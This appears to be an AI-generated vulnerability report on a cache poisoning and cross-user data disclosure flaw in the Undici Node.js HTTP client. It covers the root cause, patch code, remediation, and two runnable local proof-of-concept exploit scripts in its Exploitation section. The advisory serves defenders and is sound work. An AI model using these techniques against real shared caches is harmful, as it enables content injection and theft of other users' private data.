CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-109829

CVE-2026-109829: Persistent Cache Poisoning and Cross-User Information Disclosure in Node.js Undici

Alon Barad
Alon Barad
Software Engineer

Oct 27, 2026·11 min read·8 visits

Executive Summary (TL;DR)

Undici versions 7.0.0 through 7.30.0 and 8.0.0 through 8.12.1 fail to validate final response origins and intermediate hop Cache-Control directives when redirect() precedes cache() in an originless Agent. This enables persistent cache poisoning and cross-user sensitive data disclosure in shared caches.

A cache key origin desynchronization and intermediate Cache-Control suppression vulnerability exists in the Node.js Undici HTTP client library. When an originless Agent composes the redirect and cache interceptors in the order compose(redirect(), cache()) with a shared cache store, cross-origin responses and sensitive redirected resources are stored under the initial request's cache key.

Vulnerability Overview

CVE-2026-109829 (tracked via GitHub Security Advisory GHSA-4w7w-5xrc-9h26) is an origin validation and caching logic flaw in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js. Undici provides a modular architecture where dispatchers (such as Agent, Pool, and Client) can be extended using functional interceptors that wrap request and response handling pipelines. Among these built-in interceptors are interceptors.redirect(), which automatically follows HTTP 3xx status responses, and interceptors.cache(), which implements RFC-compliant HTTP response caching via configurable memory or SQLite storage backends.

The vulnerability is classified under CWE-346 (Origin Validation Error) and CWE-524 (Use of Cache Containing Sensitive Information). It manifests in Undici versions 7.0.0 through 7.30.0 and 8.0.0 through 8.12.1 when an application constructs an originless Agent that composes the redirect interceptor before the cache interceptor (compose(redirect(), cache())) while configuring the cache interceptor to operate as a shared cache (type: 'shared').

In this specific pipeline arrangement, the cache handler calculates and registers the request's storage key during the initial dispatch phase based on the original request URL. When the downstream request encounters an HTTP 3xx redirect, the redirect handler intercepts the response, updates the target origin or path according to the Location header, and re-dispatches the request without resetting or notifying the outer cache key context.

Consequently, the terminal response is stored under the cache key of the initial request URL regardless of whether the responding server belongs to a completely different origin or whether intermediate redirect hops explicitly prohibited caching via Cache-Control: private or Cache-Control: no-store headers. This creates two distinct security impacts: persistent cross-origin cache poisoning and cross-user sensitive data disclosure across security boundaries.

Root Cause Analysis

The root cause of CVE-2026-109829 lies in how Undici's interceptor composition model wraps handler lifecycles and passes state between RedirectHandler, CacheHandler, and DeduplicationHandler. In Undici, composing interceptors via agent.compose(redirect(), cache()) constructs a handler chain where the CacheHandler initializes its state prior to the RedirectHandler resolving the redirect chain. During the onRequestStart lifecycle hook, CacheHandler computes this.#cacheKey using the initial request's method, origin, path, and headers.

The first flaw is Origin Desynchronization (CWE-346). When an originless Agent processes a request to https://trusted.example.com/resource and receives an HTTP 301 or 302 redirect to http://attacker.example.com/payload, RedirectHandler mutates the request target and dispatches a new request to the external origin. When attacker.example.com responds with HTTP 200 and Cache-Control: public, max-age=86400, CacheHandler.onResponseStart evaluates the terminal headers. Because CacheHandler previously lacked any verification comparing the final URL in the redirect history against this.#cacheKey.origin, it accepted the cross-origin payload and committed it to the shared cache under the https://trusted.example.com/resource key.

The second flaw is Intermediate Cache-Control Suppression (CWE-524). When an authenticated user requests a sensitive endpoint (e.g., /account with Authorization: Bearer alice), the server may return an HTTP 302 redirect containing Cache-Control: private, no-store pointing to a pre-signed, unauthenticated resource URL (e.g., /signed-object?token=alice-secret). RedirectHandler suppresses the 302 response body and headers to transparently follow the redirect to /signed-object. If the /signed-object endpoint returns Cache-Control: public, max-age=86400 (assuming security is enforced by the unguessable token in the URL), CacheHandler only inspects the terminal response's Cache-Control headers. Because the intermediate hop's private, no-store directives were discarded during redirect handling, CacheHandler caches the sensitive payload under the /account cache key in the shared store.

A third compounding factor involves Deduplication Handler Context Loss. When interceptors.deduplicate() is positioned between redirect() and cache() (compose(redirect(), deduplicate(), cache())), concurrent identical requests are coalesced into a single upstream flight. Prior to the patch, DeduplicationHandler replayed the primary response to waiting downstream handlers without propagating the primary request's context.history object. Even if origin checks were performed on the primary request, deduplicated secondary requests lacked the redirect history context and would bypass validation.

Code Analysis

The vulnerabilities were resolved in commit 26c2bfb3def0b67241ce878e80657ed5d6c3efa8 (and backported to the 7.x release line in commit b20b82ad80a405a12b6ce1f341bcd418de390aa0). The patch modifies four core files to track redirect metadata, enforce origin matching, honor intermediate caching directives, and preserve context across deduplicated requests.

First, in lib/core/symbols.js and lib/handler/redirect-handler.js, the maintainers introduced a non-enumerable symbol property kRedirectCacheControl on the this.history array to record the cache-control header of every intermediate redirect hop before RedirectHandler suppresses the response:

// lib/core/symbols.js
kRedirectCacheControl: Symbol('redirect cache control'),
 
// lib/handler/redirect-handler.js
class RedirectHandler {
  constructor (/* ... */) {
    // ...
    this.history = []
    // Initialize non-enumerable array on history to store intermediate Cache-Control headers
    Object.defineProperty(this.history, kRedirectCacheControl, {
      value: [],
      enumerable: false
    })
  }
 
  onResponseStart (controller, statusCode, headers, statusMessage) {
    // ...
    // Capture the intermediate hop's Cache-Control header before following the Location header
    this.history[kRedirectCacheControl].push(headers['cache-control'])
  }
}

Second, lib/handler/cache-handler.js was updated to store a reference to context?.history during onRequestStart and validate both the terminal origin and the recorded intermediate Cache-Control directives inside onResponseStart before committing any data to the cache store:

// lib/handler/cache-handler.js
function sameOrigin (a, b) {
  try {
    return new URL(String(a)).origin === new URL(String(b)).origin
  } catch {
    return String(a) === String(b)
  }
}
 
// Inside CacheHandler.prototype.onRequestStart:
this.#history = context?.history
 
// Inside CacheHandler.prototype.onResponseStart:
// 1. Verify that the terminal response origin matches the initial cacheKey origin
if (this.#history && this.#history.length > 0) {
  const finalUrl = this.#history[this.#history.length - 1]
  if (!sameOrigin(finalUrl.origin, this.#cacheKey.origin)) {
    // Abort caching and pass headers directly downstream
    return downstreamOnHeaders()
  }
}
 
// 2. Inspect all intermediate redirect hops for restrictive caching directives
const redirectCacheControl = this.#history?.[kRedirectCacheControl]
if (redirectCacheControl) {
  for (const hopCacheControl of redirectCacheControl) {
    const hopDirectives = hopCacheControl ? parseCacheControlHeader(hopCacheControl) : {}
    if (
      hopDirectives['no-store'] === true ||
      (this.#cacheType === 'shared' && hopDirectives.private === true)
    ) {
      // Abort caching if any intermediate hop specified no-store or private (in shared mode)
      return downstreamOnHeaders()
    }
  }
}

Finally, lib/handler/deduplication-handler.js was updated so that when secondary waiting handlers are notified of a completed primary request, the primary request's context (which holds the populated history array and kRedirectCacheControl symbol data) is preserved and passed to the secondary handlers.

> [!NOTE] > Fix Completeness Assessment: The patch completely resolves both cross-origin poisoning and intermediate directive suppression across standard and deduplicated interceptor chains. By attaching kRedirectCacheControl directly as a symbol on this.history and ensuring DeduplicationHandler propagates the context reference, no alternative code path within the built-in interceptors can drop the redirect metadata prior to CacheHandler.onResponseStart.

Exploitation

Exploiting CVE-2026-109829 requires no authentication on the client infrastructure itself, though the target Node.js application must be configured with three specific architectural prerequisites:

  1. An originless Agent instance (new Agent()).
  2. A shared cache store (type: 'shared') passed to interceptors.cache().
  3. The interceptor composition sequence compose(redirect(), cache()).

Scenario 1: Persistent Cross-Origin Cache Poisoning

In a server-side rendering (SSR) application, API gateway, or proxy service using Undici in this configuration, an attacker who can trigger a temporary redirect on a trusted origin (such as via an open redirect, a user-customizable webhook/avatar URL that redirects, or brief DNS/BGP manipulation) can poison the cache for the trusted URL for up to the max-age specified by the attacker's server.

const { createServer } = require('node:http')
const { Agent, cacheStores, interceptors } = require('undici')
 
async function exploitCachePoisoning() {
  let redirectEnabled = true
 
  // Attacker server returning cacheable malicious payload
  const attackerServer = createServer((req, res) => {
    res.writeHead(200, {
      'cache-control': 'public, max-age=86400',
      'content-type': 'text/plain'
    })
    res.end('attacker-controlled-content')
  })
 
  // Trusted origin server
  const trustedServer = createServer((req, res) => {
    if (redirectEnabled && req.url === '/resource') {
      res.writeHead(302, {
        location: `http://127.0.0.1:${attackerServer.address().port}/payload`
      })
      res.end()
      return
    }
    res.writeHead(200, {
      'cache-control': 'no-store',
      'content-type': 'text/plain'
    })
    res.end('legitimate-content')
  })
 
  await Promise.all([
    new Promise(r => trustedServer.listen(0, '127.0.0.1', r)),
    new Promise(r => attackerServer.listen(0, '127.0.0.1', r))
  ])
 
  const trustedOrigin = `http://127.0.0.1:${trustedServer.address().port}`
 
  const agent = new Agent().compose(
    interceptors.redirect({ maxRedirections: 2 }),
    interceptors.cache({
      store: new cacheStores.MemoryCacheStore(),
      type: 'shared'
    })
  )
 
  // 1. Trigger request while redirect is active
  await agent.request({
    origin: trustedOrigin,
    path: '/resource',
    method: 'GET'
  }).then(r => r.body.text())
 
  // 2. Disable redirect on trusted server
  redirectEnabled = false
 
  // 3. Subsequent victim requests to trustedOrigin/resource receive poisoned content
  const victimResponse = await agent.request({
    origin: trustedOrigin,
    path: '/resource',
    method: 'GET'
  }).then(r => r.body.text())
 
  console.log('Victim received:', victimResponse) // Outputs: 'attacker-controlled-content'
 
  await agent.close()
  trustedServer.close()
  attackerServer.close()
}
 
exploitCachePoisoning()

Scenario 2: Cross-User Sensitive Information Disclosure

When an application uses a shared Undici agent to fetch backend endpoints that authenticate requests and redirect to signed storage URLs (such as AWS S3 pre-signed URLs or internal object storage tokens), an unauthenticated attacker can retrieve the private data of a previously authenticated user.

const server = createServer((req, res) => {
  if (req.url === '/account') {
    if (req.headers.authorization === 'Bearer alice') {
      res.writeHead(302, {
        'cache-control': 'private, no-store',
        location: '/signed-object?token=alice-secret-token'
      })
      res.end()
      return
    }
    res.writeHead(403, { 'cache-control': 'no-store' })
    res.end('denied')
    return
  }
 
  if (req.url.startsWith('/signed-object')) {
    res.writeHead(200, {
      'cache-control': 'public, max-age=86400',
      'content-type': 'text/plain'
    })
    res.end('alice-private-sensitive-data')
    return
  }
})

Once Alice requests /account, the 200 OK response from /signed-object?token=alice-secret-token is cached under /account. A subsequent request to /account without an Authorization header (or when Vary: Authorization is not present on the terminal /signed-object response) hits the shared cache prior to reaching the upstream server's 403 check and returns alice-private-sensitive-data.

Impact Assessment

CVE-2026-109829 carries a CVSS v3.1 base score of 7.4 (High) with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N. The Attack Complexity (AC:H) reflects the requirement that the target application must explicitly configure an originless Agent with a shared cache store and compose redirect() prior to cache(). However, when this configuration is present, both Confidentiality (C:H) and Integrity (I:H) impacts are high, while Privileges Required (PR:N) and User Interaction (UI:N) are none.

On the Confidentiality side, backend services frequently implement an authentication gateway pattern where an initial endpoint verifies user credentials (returning 302 Found with Cache-Control: private, no-store) and redirects the client to a capability URL or pre-signed object store URL that returns Cache-Control: public. Because the terminal storage service relies on the capability URL for authorization rather than the Authorization header, it typically omits Vary: Authorization. Storing this terminal response under the initial gateway URL in a shared cache allows any subsequent caller to read the first user's private payload without authentication.

On the Integrity side, any endpoint on a trusted origin that can be induced to issue an HTTP 3xx redirect to an external domain allows the external server to inject arbitrary content into the Undici shared cache under the trusted origin's cache key. Even if the redirect on the trusted server was transient or user-controlled via query parameters that are stripped or normalized, the attacker's response headers (Cache-Control: public, max-age=...) dictate how long the poisoned entry persists in the application's memory or SQLite cache store.

As of the latest threat intelligence metrics, CVE-2026-109829 has an EPSS score of 0.00149 (0.15% probability of exploitation within 30 days, placing it in the 4.04th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Remediation

The definitive remediation is to upgrade the undici package to a patched release that enforces origin matching and honors intermediate Cache-Control headers across redirect chains:

  • For the 7.x release branch: Upgrade to undici >= 7.30.1.
  • For the 8.x release branch: Upgrade to undici >= 8.12.2.

Security and engineering teams can audit their dependency trees to identify vulnerable versions using standard Node.js package manager commands:

npm list undici
# or
yarn why undici
# or
pnpm why undici

To locate potentially vulnerable interceptor compositions within source code repositories, run a regular expression search targeting compose() calls where redirect() precedes cache() with type: 'shared':

compose\(\s*.*redirect\(.*?\)\s*,\s*.*cache\(\{[\s\S]*?type:\s*['"]shared['"]

> [!NOTE] > If an immediate dependency upgrade is blocked by operational constraints, apply one of the following architectural workarounds to eliminate the vulnerability:

  1. Invert the Interceptor Composition Order: Place interceptors.cache() before interceptors.redirect() so each individual hop in a redirect chain is evaluated and cached under its own distinct request origin and URL:
const agent = new Agent().compose(
  interceptors.cache({ store: cacheStore, type: 'shared' }),
  interceptors.redirect({ maxRedirections: 2 })
)
  1. Use Origin-Bound Dispatchers: Replace originless new Agent() instances with origin-bound new Pool(origin) or new Client(origin) dispatchers when configuring shared caches.
  2. Switch to Private Cache Mode: Change the cache interceptor configuration from type: 'shared' to type: 'private' (or disable caching on dispatchers that follow untrusted or authenticated redirects).

Official Patches

Node.js / UndiciOfficial GitHub Security Advisory GHSA-4w7w-5xrc-9h26
Node.js / UndiciUndici v8.12.2 Release Notes
Node.js / UndiciUndici v7.30.1 Release Notes

Fix Analysis (2)

Technical Appendix

CVSS Score
7.4/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Probability
0.15%
Top 96% most exploited

Affected Systems

Node.js Undici (>= 7.0.0, < 7.30.1)Node.js Undici (>= 8.0.0, < 8.12.2)

Affected Versions Detail

Product
Affected Versions
Fixed Version
undici
Node.js / OpenJS Foundation
>= 7.0.0, < 7.30.17.30.1
undici
Node.js / OpenJS Foundation
>= 8.0.0, < 8.12.28.12.2
AttributeDetail
CVE IDCVE-2026-109829 (GHSA-4w7w-5xrc-9h26)
Weakness ClassCWE-346 (Origin Validation Error) / CWE-524 (Use of Cache Containing Sensitive Information)
CVSS v3.1 Score7.4 High (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)
EPSS Score0.15% (4.04th Percentile)
Attack VectorNetwork (Cross-Origin HTTP Redirects & Authenticated Redirect Chains)
Primary ImpactPersistent Shared Cache Poisoning & Cross-User Private Data Disclosure
Exploit StatusProof-of-Concept Available (Unit Test Reproduction)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1557Adversary-in-the-Middle
Credential Access / Collection
T1565.001Data Manipulation: Stored Data Manipulation
Impact
T1552Unsecured Credentials
Credential Access
CWE-346
Origin Validation Error

The software does not properly verify that the source of data or communication is valid, allowing cross-origin responses to be associated with a trusted origin's cache key alongside improper caching of sensitive intermediate redirects (CWE-524).

Vulnerability Timeline

CVE-2026-109829 and GHSA-4w7w-5xrc-9h26 published; Undici 7.30.1 and 8.12.2 released.
2026-10-15
Advisory metadata and CVE record updated.
2026-10-19

References & Sources

  • [1]GitHub Security Advisory GHSA-4w7w-5xrc-9h26
  • [2]CVE.org Record: CVE-2026-109829
  • [3]National Vulnerability Database (NVD) - CVE-2026-109829
  • [4]OpenJS Foundation Security Advisories
  • [5]Undici Fix Commit (main - 26c2bfb3def0b67241ce878e80657ed5d6c3efa8)
  • [6]Undici Fix Commit (7.x backport - b20b82ad80a405a12b6ce1f341bcd418de390aa0)
  • [7]Undici Release v8.12.2
  • [8]Undici Release v7.30.1

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•41 minutes ago•CVE-2026-116693
8.7

CVE-2026-116693: Regular Expression Denial of Service in Datadog Node.js Tracer (dd-trace)

CVE-2026-116693 is a high-severity Regular Expression Denial of Service (ReDoS) vulnerability affecting the official Datadog Application Performance Monitoring (APM) client library for Node.js, dd-trace. The defect resides in the default regular expression defined by the DD_TRACE_OBFUSCATION_QUERY_STRING_REGEXP configuration parameter, which is used to sanitize incoming and outgoing HTTP URL query strings prior to recording trace span metadata. Due to overlapping sub-patterns and unanchored repetition blocks in the JSON Web Token (JWT) and URL-encoded string matching branches, the V8 JavaScript engine's regular expression subsystem (Irregexp) can be forced into catastrophic or high-degree polynomial backtracking. Because regular expression replacement occurs synchronously on the primary Node.js event loop, an unauthenticated remote attacker can send crafted HTTP requests with malicious query strings to consume 100% of the process CPU core, stalling concurrent request processing and rendering the application unavailable.

Alon Barad
Alon Barad
3 views•10 min read
•about 2 hours ago•CVE-2026-116692
9.8

CVE-2026-116692: Remote Code Execution in MLflow via Third-Party Scorer Deserialization

CVE-2026-116692 (GHSA-26p8-2jq9-3vq9) is a remote code execution vulnerability in MLflow affecting versions 3.12.0rc0 prior to 3.17.0. The flaw stems from an overly permissive module prefix check during the deserialization of third-party GenAI evaluation scorers in mlflow/genai/scorers/base.py. By setting an experiment's artifact root to a local package directory within the Python module search path and uploading a crafted Python file as a run artifact, an attacker can invoke the /ajax-api/3.0/mlflow/scorer/invoke endpoint to dynamically import and execute arbitrary code on the MLflow tracking server.

Amit Schendel
Amit Schendel
5 views•9 min read
•about 3 hours ago•CVE-2026-116691
6.5

CVE-2026-116691: Cleartext LLM Provider API Key Disclosure in MLflow CrewAI Autologging

CVE-2026-116691 (GHSA-j7qq-vr8c-xvw3) is a sensitive credential disclosure vulnerability in the MLflow platform affecting versions 2.19.0 through 3.16.x. When CrewAI autologging is enabled via mlflow.crewai.autolog(), the tracing instrumentation fails to sanitize nested CrewAI LLM objects before serializing them into OpenTelemetry trace spans. Consequently, plaintext LLM provider API keys are extracted from object dictionaries and string representations, then transmitted and stored in MLflow tracking servers or external OpenTelemetry Protocol (OTLP) telemetry backends.

Alon Barad
Alon Barad
4 views•12 min read
•about 4 hours ago•CVE-2026-116690
7.5

CVE-2026-116690: Arbitrary File Read via Prompt Model Version Source in MLflow

MLflow versions 3.10.0 through 3.16.1 contain a path traversal vulnerability (CWE-22) in the model version creation handler. Specifically, the prompt-specific execution branch in `_create_model_version()` fails to validate schemeless relative paths and evaluates the `mlflow.prompt.is_prompt` tag based on key presence rather than value. An unauthenticated remote attacker on default deployments, or an authenticated low-privilege user on basic-auth deployments, can register a model version with a relative local path as its artifact source and subsequently retrieve arbitrary files from the server filesystem via the `/api/2.0/mlflow/model-versions/get-artifact` endpoint.

Alon Barad
Alon Barad
10 views•9 min read
•about 5 hours ago•CVE-2026-109383
7.4

CVE-2026-109383: Improper Certificate Validation in Node.js Undici Agent Dispatcher

CVE-2026-109383 (GHSA-2m5v-pch6-74hx) is an improper certificate validation vulnerability (CWE-295) in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js. In affected versions, the Agent constructor clones configuration options using a JSON-based deep clone function (util.deepClone), which executes JSON.parse(JSON.stringify(options)). Because JSON serialization omits function properties, custom certificate validation callbacks passed via the tls configuration option—such as tls.checkServerIdentity—are silently stripped before being passed to origin connection pools. Consequently, connections fall back to standard Node.js TLS validation, bypassing custom certificate pinning or hostname verification rules and allowing an Adversary-in-the-Middle (AitM) with a CA-trusted certificate to intercept and modify traffic.

Alon Barad
Alon Barad
6 views•10 min read
•about 7 hours ago•CVE-2026-109855
7.5

CVE-2026-109855: Denial of Service via Unhandled Stream Error in Node.js Undici HTTP/2 WebSockets

CVE-2026-109855 is a high-severity Denial of Service (DoS) vulnerability in undici, the primary HTTP/1.1 and HTTP/2 client library for Node.js maintained under the OpenJS Foundation. In versions 8.11.0 and 8.11.1, the WebSocket client fails to properly terminate underlying ClientHttp2Stream instances when an HTTP/2 WebSocket handshake fails validation. When the remote server subsequently closes or resets the stream, Node.js emits an unhandled error event on the orphaned stream, crashing the client process.

Alon Barad
Alon Barad
9 views•9 min read